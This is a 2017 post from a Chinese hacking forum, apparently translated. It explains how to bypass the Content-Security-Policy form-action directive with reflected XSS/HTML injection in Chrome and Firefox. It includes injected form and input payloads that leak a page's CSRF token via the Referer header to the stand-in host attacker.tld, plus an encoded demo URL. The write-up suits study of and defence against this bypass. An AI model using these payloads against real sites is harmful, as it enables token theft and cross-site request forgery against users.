HACK80

我们很年轻,但我们有信念、有梦想!

我们坚信只有今天付出了,才有机会看到明天的太阳!
现在!加入我们,给你一个气氛优秀的技术圈子

作者: djg222000
查看: 162|回复: 0

more +随机图赏Gallery

2017年中旬WEB渗透系列课程-27HASH提权2017年中旬WEB渗透系列课程-27HASH提权
2017年中旬WEB渗透系列课程-23提权认识2017年中旬WEB渗透系列课程-23提权认识
X站神器-灰长给力-X站神器-灰长给力-
2017年中旬WEB渗透系列课程-11注入的其他姿势2017年中旬WEB渗透系列课程-11注入的其他姿势
2017年中旬WEB渗透系列课程-10基于提交方式注入的分析2017年中旬WEB渗透系列课程-10基于提交方式注入的分析
2017年中旬WEB渗透系列课程-09Mysql注入跨库2017年中旬WEB渗透系列课程-09Mysql注入跨库
2017年中旬WEB渗透系列课程-08Mysql注入读写2017年中旬WEB渗透系列课程-08Mysql注入读写
2017年中旬WEB渗透系列课程-07Mysql常规注入2017年中旬WEB渗透系列课程-07Mysql常规注入
2017年中旬WEB渗透系列课程-06Mysql注入分析2017年中旬WEB渗透系列课程-06Mysql注入分析
2017年中旬WEB渗透系列课程-05Access注入分析2017年中旬WEB渗透系列课程-05Access注入分析

通过反射型XSS绕过配合form-action绕过CSP

[复制链接]
djg222000 发表于 2017-12-5 20:00:00 | 显示全部楼层 |阅读模式
查看: 162|回复: 0

马上注册,加入HACK80!与我们一起交流。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
CSP(Content-Security-Policy)是一个HTTP响应头,该响应头包含了指示浏览器如何限制页面上的内容的指令。 例如,”form-action”指令限制了可以提交的原始表单。CSP form-action指令可以限制页面可以提交表单到那些URL。在XSS/HTML注入错误的情况下,可以绕过此保护。
form-action指令
要理解为什么”form-action”指令从安全角度来说很重要,请想象下面这种情况:
Content-Security-Policy: default-src ‘none’; <html><body><div>[Reflected XSS vulnerability here]</div><form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”><input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” /><input type=”submit” value=”Subscribe to newsletter” /></form></body></html>
由于CSP不允许脚本,我们不能使用脚本来提取csrf令牌。 然而,通过注入一个<form>标签,我们可以覆盖提交表单(包括csrf令牌)的位置:
Content-Security-Policy: default-src ‘none’; <html><body><div><form action=”http://attacker.tld”></div><form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”><input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” /><input type=”submit” value=”Subscribe to newsletter” /></form></body></html>在Chrome中绕过
可以通过将现有表单的方法(使用formmethod属性)重写为”GET”并将操作(使用formaction属性)重写为””(当前页面)来绕过该伪指令。然后,我们将此与泄露元素相结合(例如“<link rel=’subresource’ href =’http://attacker.tld/link-subresource’>”)
Content-Security-Policy: default-src ‘none’; <html><body><div><input value="CLICK ME FOR POC" type="submit" formaction="" form="subscribe" formmethod="get" /><input type="hidden" name="xss" form="subscribe" value="<link rel='subresource' href='http://attacker.tld/link-subresource'>"/></div><form method="POST" id="subscribe" action="/api/v1/newsletter/subscribe"><input type="hidden" name="csrftoken" value="5f4dcc3b5aa765d61d8327deb882cf99" /><input type="submit" value="Subscribe to newsletter" /></form></body></html>
当受害者点击注入的提交按钮时,浏览器将把表单值作为GET参数发送到当前页面。 这些GET参数然后泄漏给attacker.tld,因为引用了泄露元素。换句话说,表单值(包括CSRF令牌)将通过Referer头发送到http://attacker.tld。form-action绕过成功。
Demo
[url=http://bugbounty.se/csp_bypass.php?xss=%3Cinput%20value=%22CLICK%20ME%20FOR%20POC%22%20type=%22submit%22%20formaction=%22%22%20form=%22subscribe%22%20formmethod=%22get%22%20/%3E%3Cinput%20type=%22hidden%22%20name=%22xss%22%20form=%22subscribe%22%20value=%22%3Clink%20rel=%27subresource%27%20href=%27http://attacker.tld/link-subresource%27%3E%22/%3E]http://bugbounty.se/csp_bypass.php?xss=%3Cinput%20value=%22CLICK%20ME%20FOR%20POC%22%20type=%22submit%22%20formaction=%22%22%20form=%22subscribe%22%20formmethod=%22get%22%20/%3E%3Cinput%20type=%22hidden%22%20name=%22xss%22%20form=%22subscribe%22%20value=%22%3Clink%20rel=%27subresource%27%20href=%27http://attacker.tld/link-subresource%27%3E%22/%3E[/url]
后果
在Firefox中绕过
Firefox的攻击本质上是一样的,但不是使用”<link rel =’subresource’href =’http://attacker.tld”>”,我们使用”<a href =’http://attacker.tld’>”,使用这个的缺点是用户必须点击两次而不是一次。

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|手机版|HACK80 ( 沪ICP备15007512号 )

GMT+8, 2017-12-15 12:21 , Processed in 0.079104 second(s), 24 queries .

Powered by Discuz! X3.4 © 2001-2013 Comsenz Inc.